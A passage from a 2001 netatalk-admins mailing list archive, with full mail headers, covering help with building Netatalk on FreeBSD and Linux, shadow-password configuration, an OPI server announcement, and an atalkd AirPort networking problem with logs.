	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 13:31:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA05925
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 13:31:17 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA05831
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 13:31:15 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f15ISkr27809;
	Mon, 5 Feb 2001 13:28:47 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A7EF0D3.6B1C2FCE@mail.iowna.com>
Date: Mon, 05 Feb 2001 13:28:35 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Ralph Dratman <ralph@maxsoft.com>
CC: netatalk-admins@umich.edu
Subject: Re: Building 1.5pre3 for FreeBSD
References: <v04210101b6a499aef916@[192.168.0.27]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ralph Dratman wrote:
> 
> Hello.
> 
> I am using FreeBSD 3.3 and have Netatalk 4.2 working.
> Mostly it seems fine. However, there is a problem with certain
> directories when brought up on a Mac. At first there are many items,
> then the items "flicker" and mostly disappear, leaving only a few
> folders and a file called "[".

You can also install the Netatalk version with asun patches to fix this.
Although I've heard that the 1.5pre is even better. (advantage to the
version with the asun patches is there's a FreeBSD port/package
available, so installation is a snap)

<SNIP>

> I looked for Makefile and found instead Makefile.am and Makefile.in.
> Makefile.am contained a line
> 
>         DESTDIR =
> 
> which I changed to
> 
>         DESTDIR = /usr/local/
> 
> (Was this correct? Or should I have omitted the trailing slash?).
> 
> Then I typed "make" and got back
> 
>         make: no target to make.
> 
> Question: What did I do wrong and what should I do now?

Seems like there should be a configure step in there. Try changing
Makefile.am back the way it was, then enter "./configure" in the base
directory of the Netatalk source. There should then be an actual
"Makefile" that you can edit per the above instructions, and make should
work after that.

-Bill

From netatalk.administrators-errors@umich.edu  Mon Feb  5 13:43:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18663
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 13:43:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10324
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 13:43:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10294
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 13:43:03 -0500 (EST)
Received: from www.base2inc.com (www.base2inc.com [204.117.190.140])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA10254
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 13:43:02 -0500 (EST)
Received: from edison (edison.base2inc.com [206.229.85.132])
	by www.base2inc.com (8.9.3/8.9.3) with SMTP id NAA16184;
	Mon, 5 Feb 2001 13:41:50 -0500
Message-ID: <014101c08fa3$8a818880$8455e5ce@edison>
From: "Frank Morton" <fmorton@base2inc.com>
To: "Volker Birk" <vb@kanguruh.ebios.de>, <netatalk-admins@umich.edu>
References: <20010205181719.A22795@ebios.de>
Subject: Re: OPI Server ready
Date: Mon, 5 Feb 2001 13:43:32 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

Good! Does it include utilities to make fpo images?


> Hello,
>
> some two years ago I announced that we will develop an OPI server which
> then will be offered under the GPL.
>
> Now it's ready. And it's an Open Project.
>
> If someone is interested in, she/he can read something about it on
>
> http://opi3.ebios.de
>
> Yours,
> Volker Birk
> --
> *** ebios Informationssysteme, Germany      ***   vb@kangu:~ $ cd /pub/
> *** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***   vb@kangu:/pub $ more
beer
> *** Phone +49-7524-93421 Fax +49-7524-93423 ***   Aaahhhh! That was good!
> *** mailto:vb@ebios.de                      ***   vb@kangu:/pub $ _


From netatalk.administrators-errors@umich.edu  Mon Feb  5 13:52:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18844
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 13:52:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10923
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 13:52:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10876
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 13:52:17 -0500 (EST)
Received: from server.deanox.com (ns1.deanox.com [209.197.23.235])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA10837
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 13:52:16 -0500 (EST)
Received: from rygar.deanox.com (rygar.deanox.com [209.197.23.237])
	by server.deanox.com (8.9.3/8.8.7) with SMTP id MAA19908;
	Mon, 5 Feb 2001 12:50:28 -0700
Message-Id: <3.0.6.32.20010205115200.0090a8d0@server.deanox.com>
X-Sender: faxguy@server.deanox.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Mon, 05 Feb 2001 11:52:00 -0700
To: Matisse Enzer <matisse@matisse.net>, netatalk-admins@umich.edu
From: Lee Howard <faxguy@deanox.com>
Subject: Re: Guest users OK, real users can't get in
In-Reply-To: <Pine.LNX.4.10.10102051005110.29769-100000@smtp.sfinteracti
 ve.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 10:17 AM 2/5/01 -0800, Matisse Enzer wrote:
>Hi folks,
>
>I've just installed netatalk v1.5
>
>OS:        RedHat linux 6.1 system  (kernal: 2.2.12-20smp)
>Compiler:  egcs-2.91.66
>openssl:   0.9.6
>
>I enabled shadow passwords by adding   -DSHADOWPW   to  the CFLAGS in
>etc/afpd/Makefile

This doesn't work with v1.5.  You need to "./configure --with-shadow"

Lee.


From netatalk.administrators-errors@umich.edu  Mon Feb  5 16:08:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA24438
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 16:08:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA01450
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 16:08:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA01429
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 16:08:13 -0500 (EST)
Received: from femail8.sdc1.sfba.home.com (femail8.sdc1.sfba.home.com [24.0.95.88])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA01404
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 16:08:12 -0500 (EST)
Received: from [192.168.0.27] ([24.7.223.67]) by femail8.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010205210818.PDMD26894.femail8.sdc1.sfba.home.com@[192.168.0.27]>;
          Mon, 5 Feb 2001 13:08:18 -0800
Mime-Version: 1.0
X-Sender: ralph99@mail.voicenet.com
Message-Id: <v04210102b6a4c6174275@[192.168.0.27]>
In-Reply-To: <3A7EF0D3.6B1C2FCE@mail.iowna.com>
References: <v04210101b6a499aef916@[192.168.0.27]>
 <3A7EF0D3.6B1C2FCE@mail.iowna.com>
Date: Mon, 5 Feb 2001 16:08:15 -0500
To: netatalk-admins@umich.edu
From: Ralph Dratman <ralph@maxsoft.com>
Subject: Re: Building 1.5pre3 for FreeBSD
Cc: Bill Moran <wmoran@mail.iowna.com>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Bill,

Thanks much for your reply.

At 1:28 PM -0500 2/5/01, Bill Moran wrote:
>You can also install the Netatalk version with asun patches to fix this.
>Although I've heard that the 1.5pre is even better. (advantage to the
>version with the asun patches is there's a FreeBSD port/package
>available, so installation is a snap)

Where would I get the "version with asun patches" as a FreeBSD 
package? And what version number or other identifier would I want to 
look for?

Regards,

Ralph Dratman

From netatalk.administrators-errors@umich.edu  Mon Feb  5 16:53:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA26361
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 16:53:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA10933
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 16:53:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA10898
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 16:53:43 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA10850
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 16:53:42 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f15LpCr11015;
	Mon, 5 Feb 2001 16:51:12 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A7F2045.FCFC1F9C@mail.iowna.com>
Date: Mon, 05 Feb 2001 16:51:01 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Ralph Dratman <ralph@maxsoft.com>
CC: netatalk-admins@umich.edu
Subject: Re: Building 1.5pre3 for FreeBSD
References: <v04210101b6a499aef916@[192.168.0.27]>
	 <3A7EF0D3.6B1C2FCE@mail.iowna.com> <v04210102b6a4c6174275@[192.168.0.27]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ralph Dratman wrote:
> At 1:28 PM -0500 2/5/01, Bill Moran wrote:
> >You can also install the Netatalk version with asun patches to fix this.
> >Although I've heard that the 1.5pre is even better. (advantage to the
> >version with the asun patches is there's a FreeBSD port/package
> >available, so installation is a snap)
> 
> Where would I get the "version with asun patches" as a FreeBSD
> package? And what version number or other identifier would I want to
> look for?

netatalk-1.4b2+asun2.1.3_1 is the version you're looking for.
If you want the package find it on this page:
http://www.freebsd.org/ports/net.html
There's a link straight to the binary tarball on that page. Once
downloaded you can installed it with pkg_add(1)
You can also go to the /usr/ports/net/netatalk-asun/ directory and do
"make install" if you have the ports tree.

I want to reiterate that others on this list have commented that 1.5pre
is more reliable than 1.4+asun. Personally, I have no experience with
1.5pre so I can't compare the two, but you may want to look at both.

-Bill

From netatalk.administrators-errors@umich.edu  Mon Feb  5 17:00:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA26634
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 17:00:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA03131
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 17:00:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA03066
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 17:00:23 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA03010
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 17:00:21 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f15Lvxr14382;
	Mon, 5 Feb 2001 16:58:00 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A7F21DF.B58C59CB@mail.iowna.com>
Date: Mon, 05 Feb 2001 16:57:51 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Ralph Dratman <ralph@maxsoft.com>
CC: netatalk-admins@umich.edu
Subject: Almost forgot (was Re: Building 1.5pre3 for FreeBSD)
References: <v04210101b6a499aef916@[192.168.0.27]>
	 <3A7EF0D3.6B1C2FCE@mail.iowna.com> <v04210102b6a4c6174275@[192.168.0.27]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ralph Dratman wrote:

> At 1:28 PM -0500 2/5/01, Bill Moran wrote:
> >You can also install the Netatalk version with asun patches to fix this.
> >Although I've heard that the 1.5pre is even better. (advantage to the
> >version with the asun patches is there's a FreeBSD port/package
> >available, so installation is a snap)
> 
> Where would I get the "version with asun patches" as a FreeBSD
> package? And what version number or other identifier would I want to
> look for?

As a side note ... I noticed that the startup script that gets installed
in /usr/local/etc/rc.d is broken. It's basically missing the "#!/bin/sh"
at the beginning of the file and therefore it doesn't execute (and
therefore Netatalk doesn't start up at system boot)
Now that I've been reminded of this I'll notify the port maintainer as
well so he/she/it can fix it.

-Bill

From netatalk.administrators-errors@umich.edu  Mon Feb  5 18:21:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA29538
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 18:21:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA16263
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 18:21:30 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA16260
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 18:21:30 -0500 (EST)
Received: from smtp.sfinteractive.com (smtp.sfinteractive.com [63.110.230.16])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA16244
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 18:21:29 -0500 (EST)
Received: from localhost (matisse@localhost)
	by smtp.sfinteractive.com (8.9.3/8.9.3) with ESMTP id PAA15513;
	Mon, 5 Feb 2001 15:21:29 -0800
X-Authentication-Warning: smtp.sfinteractive.com: matisse owned process doing -bs
Date: Mon, 5 Feb 2001 15:21:29 -0800 (PST)
From: Matisse Enzer <matisse@matisse.net>
X-Sender: matisse@smtp.sfinteractive.com
To: Lee Howard <faxguy@deanox.com>
cc: netatalk-admins@umich.edu
Subject: Re: Guest users OK, real users can't get in
In-Reply-To: <3.0.6.32.20010205115200.0090a8d0@server.deanox.com>
Message-ID: <Pine.LNX.4.10.10102051519210.15401-100000@smtp.sfinteractive.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Thanks.

That did it.

By the way, I also had to add:

	-L/usr/local/ssl/lib

to      {sourcedir}/etc/uams/Makefile

So I have:

---------------------------------------cut here------------------------
.c.so:
        $(COMPILE) -DHAVE_CONFIG_H -fPIC -DPIC \
          -I$(top_srcdir) -fomit-frame-pointer -c $< ; \
        $(LD) -shared $(LDSHAREDFLAGS) -o $@ $*.o $(LIBS) \
	-L/usr/local/ssl/lib
---------------------------------------cut here------------------------


On Mon, 5 Feb 2001, Lee Howard wrote:

> At 10:17 AM 2/5/01 -0800, Matisse Enzer wrote:
> >Hi folks,
> >
> >I've just installed netatalk v1.5
> >
> >OS:        RedHat linux 6.1 system  (kernal: 2.2.12-20smp)
> >Compiler:  egcs-2.91.66
> >openssl:   0.9.6
> >
> >I enabled shadow passwords by adding   -DSHADOWPW   to  the CFLAGS in
> >etc/afpd/Makefile
> 
> This doesn't work with v1.5.  You need to "./configure --with-shadow"
> 
> Lee.
> 


From netatalk.administrators-errors@umich.edu  Mon Feb  5 19:29:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA00853
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 19:29:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA00819
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 19:29:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA00798
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 19:29:05 -0500 (EST)
Received: from sss.pgh.pa.us (sss.pgh.pa.us [209.114.132.154])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA00766
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 19:29:04 -0500 (EST)
Received: from sss2.sss.pgh.pa.us (tgl@localhost [127.0.0.1])
	by sss.pgh.pa.us (8.11.1/8.11.1) with ESMTP id f160T3918824
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 19:29:03 -0500 (EST)
To: netatalk-admins@umich.edu
Subject: atalkd fails to communicate with existing router
Date: Mon, 05 Feb 2001 19:29:03 -0500
Message-ID: <18821.981419343@sss.pgh.pa.us>
From: Tom Lane <tgl@sss.pgh.pa.us>

Hi folks,

  I'm sure this has come up before, but I couldn't find anything about
it after some digging in the archives.  I'm trying to bring up netatalk
on LinuxPPC 2000-Q4 (kernel 2.2.18, netatalk-1.4b2+asun2.1.3-7 RPM).
It's running on a Powerbook G3 (Pismo) which is connected via an Apple
AirPort card to a local Ethernet LAN (the AirPort base station is
running AirPort 1.2 if that matters).  Also attached to the LAN is a
Netopia 435 ISDN router, which has both LAN and PhoneNet ports; the
Netopia acts as a seeding router for the AppleTalk network.  Or it's
supposed to, anyway.  This all works great when I boot MacOS on the
Powerbook, but atalkd does not seem to manage to communicate with the
Netopia.  Here are the relevant /var/log/messages entries:

Feb  5 18:57:41 g3 kernel: NET4: AppleTalk 0.18 for Linux NET4.0 
Feb  5 18:57:41 g3 atalkd[652]: restart (1.4b2+asun2.1.3)
Feb  5 18:57:42 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:57:48 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:58:08 g3 last message repeated 4 times
Feb  5 18:58:11 g3 atalkd[652]: config for no router
Feb  5 18:58:12 g3 atalkd[652]: ready 0/0/0
Feb  5 18:58:12 g3 atalk: atalkd startup succeeded
Feb  5 18:58:18 g3 atalkd[652]: rtmp_packet router has become available
Feb  5 18:58:18 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:58:21 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:58:26 g3 atalk: afpd startup succeeded
Feb  5 18:58:28 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:58:31 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:58:36 g3 afpd[794]: Can't register g3:AFPServer@*
Feb  5 18:58:36 g3 afpd[794]: ASIP started on 192.168.168.12:548(0) (1.4b2+asun2.1.3) 
[ yes, 192.168.168.12 is the IP address assigned to the Powerbook ]
Feb  5 18:58:38 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:58:41 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:58:48 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:58:51 g3 atalkd[652]: config for no router
Feb  5 18:58:58 g3 atalkd[652]: rtmp_packet router has become available
Feb  5 18:58:58 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:59:28 g3 last message repeated 6 times
Feb  5 18:59:31 g3 atalkd[652]: config for no router
Feb  5 18:59:38 g3 atalkd[652]: rtmp_packet router has become available
Feb  5 18:59:38 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 18:59:51 g3 last message repeated 3 times
Feb  5 18:59:58 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 19:00:08 g3 last message repeated 2 times
Feb  5 19:00:11 g3 atalkd[652]: config for no router
Feb  5 19:00:18 g3 atalkd[652]: rtmp_packet router has become available
Feb  5 19:00:18 g3 atalkd[652]: zip_getnetinfo for airport
Feb  5 19:00:48 g3 last message repeated 6 times
Feb  5 19:00:51 g3 atalkd[652]: config for no router
Feb  5 19:00:58 g3 atalkd[652]: rtmp_packet router has become available
Feb  5 19:00:58 g3 atalkd[652]: zip_getnetinfo for airport
... etc etc in an endless loop ...

It looks to me like atalkd may be hearing the RTMP packets that the
Netopia broadcasts (what else would cause it to repeat the configuration
cycle like that?) but it doesn't manage to acquire the correct network
numbers.  The actual configuration of the Appletalk network, as shown by
CheckNet when the Powerbook is booted into MacOS, is:

CheckNET	6:55 PM	2/5/01	Device List	Number of entries = 8

Name			Type			Zone		Net	Node	Skt	Enum
192.168.168.2		IPGATEWAY		AppleTalk	36332	149	72	1
AccelaWriter 8100	LaserWriter		AppleTalk	36332	130	128	0
G3			ARA - Personal Server	AppleTalk	257	132	2	0
G3			Workstation		AppleTalk	257	132	4	0
G3			Multi-User Client	AppleTalk	257	132	48	0
G3			EPSON IJ Notification	AppleTalk	257	132	250	0
G3			  Power Macintosh	AppleTalk	257	132	252	0
Netopia 455-U #26358	Netopia Router		AppleTalk	257	150	100	1

but atalkd doesn't see these network numbers; what it selects and writes
into atalkd.conf is

airport -phase 2 -net 0-65534 -addr 65280.15

None of the basic lookup/troubleshooting tools seem to work; for example
getzones just sits for about ten seconds and says
	atp_rresp: Connection timed out
And, as you can see from the log messages, registering NBP names
doesn't work, nor does looking them up.

BTW, regular TCP across the airport card works fine.  I can even 'ping'
the Netopia from the Powerbook.  It's just Appletalk over IP that's
busted.

It's probably some stupid configuration error on my part, but I'm stuck.
Any ideas?

			regards, tom lane

From netatalk.administrators-errors@umich.edu  Tue Feb  6 01:28:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA11477
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 01:28:01 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA09752
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 01:28:01 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA09732
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 01:28:00 -0500 (EST)
Received: from sss.pgh.pa.us (sss.pgh.pa.us [209.114.132.154])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA09688
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 01:27:59 -0500 (EST)
Received: from sss2.sss.pgh.pa.us (tgl@localhost [127.0.0.1])
	by sss.pgh.pa.us (8.11.1/8.11.1) with ESMTP id f166Rw923823
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 01:27:58 -0500 (EST)
To: netatalk-admins@umich.edu
Subject: Re: atalkd fails to communicate with existing router 
In-reply-to: <18821.981419343@sss.pgh.pa.us> 
References: <18821.981419343@sss.pgh.pa.us>
Comments: In-reply-to Tom Lane <tgl@sss.pgh.pa.us>
	message dated "Mon, 05 Feb 2001 19:29:03 -0500"
Date: Tue, 06 Feb 2001 01:27:58 -0500
Message-ID: <23820.981440878@sss.pgh.pa.us>
From: Tom Lane <tgl@sss.pgh.pa.us>

I wrote:
> Feb  5 19:00:11 g3 atalkd[652]: config for no router
> Feb  5 19:00:18 g3 atalkd[652]: rtmp_packet router has become available
> Feb  5 19:00:18 g3 atalkd[652]: zip_getnetinfo for airport
> Feb  5 19:00:48 g3 last message repeated 6 times
> Feb  5 19:00:51 g3 atalkd[652]: config for no router
> Feb  5 19:00:58 g3 atalkd[652]: rtmp_packet router has become available
> Feb  5 19:00:58 g3 atalkd[652]: zip_getnetinfo for airport
> ... etc etc in an endless loop ...

Further experimentation shows that atalkd works fine if I use a
hardwired connection to the LAN and configure atalkd to the eth0
interface.  It just doesn't like the airport card.  I suspect a
compatibility problem with the airport driver (which is v0.9.3
of Ben Herrenschmidt's Airport WaveLAN/IEEE driver).

The above-quoted symptoms seem to indicate a problem in sending
broadcast Appletalk packets.  Looking at the airport module source code,
I note a history of endianness bugs; I wonder if there is one more that
affects only appletalk packets and not IP packets?

			regards, tom lane

From netatalk.administrators-errors@umich.edu  Tue Feb  6 02:13:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA12143
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Feb 2001 02:13:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA00669
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Feb 2001 02:13:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA00641
	for netatalk.administrators-members@umich.edu; Tue, 6 Feb 2001 02:13:30 -0500 (EST)
Received: from kanguruh.ebios.de (kanguruh.ebios.de [195.126.148.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA00573
	for <netatalk-admins@umich.edu>; Tue, 6 Feb 2001 02:13:28 -0500 (EST)
Received: (from vb@localhost)
	by kanguruh.ebios.de (8.11.0/8.8.8) id f167DNq24768;
	Tue, 6 Feb 2001 08:13:23 +0100
From: Volker Birk <vb@kanguruh.ebios.de>
Date: Tue, 6 Feb 2001 08:13:23 +0100
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
Cc: Volker Birk <vb@kanguruh.ebios.de>, <netatalk-admins@umich.edu>
Subject: Re: OPI Server ready
Message-ID: <20010206081323.A24665@ebios.de>
References: <20010205181719.A22795@ebios.de> <Pine.LNX.4.30.0102051138070.17088-100000@www.molbio.wisc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.13i
In-Reply-To: <Pine.LNX.4.30.0102051138070.17088-100000@www.molbio.wisc.edu>; from dan@www.molbio.wisc.edu on Mon, Feb 05, 2001 at 11:38:15AM -0600

On Mon, Feb 05, 2001 at 11:38:15AM -0600, Daniel E. Lautenschleger wrote:
> What is OPI?

Read this page?

VB.
-- 
*** ebios Informationssysteme, Germany      ***   vb@kangu:~ $ cd /pub/
*** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***   vb@kangu:/pub $ more beer
*** Phone +49-7524-93421 Fax +49-7524-93423 ***   Aaahhhh! That was good!
*** mailto:vb@ebios.de                      ***   vb@kangu:/pub $ _

From netatalk.administrators-errors@umich.edu  Tue Feb  6 02:14:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA12165
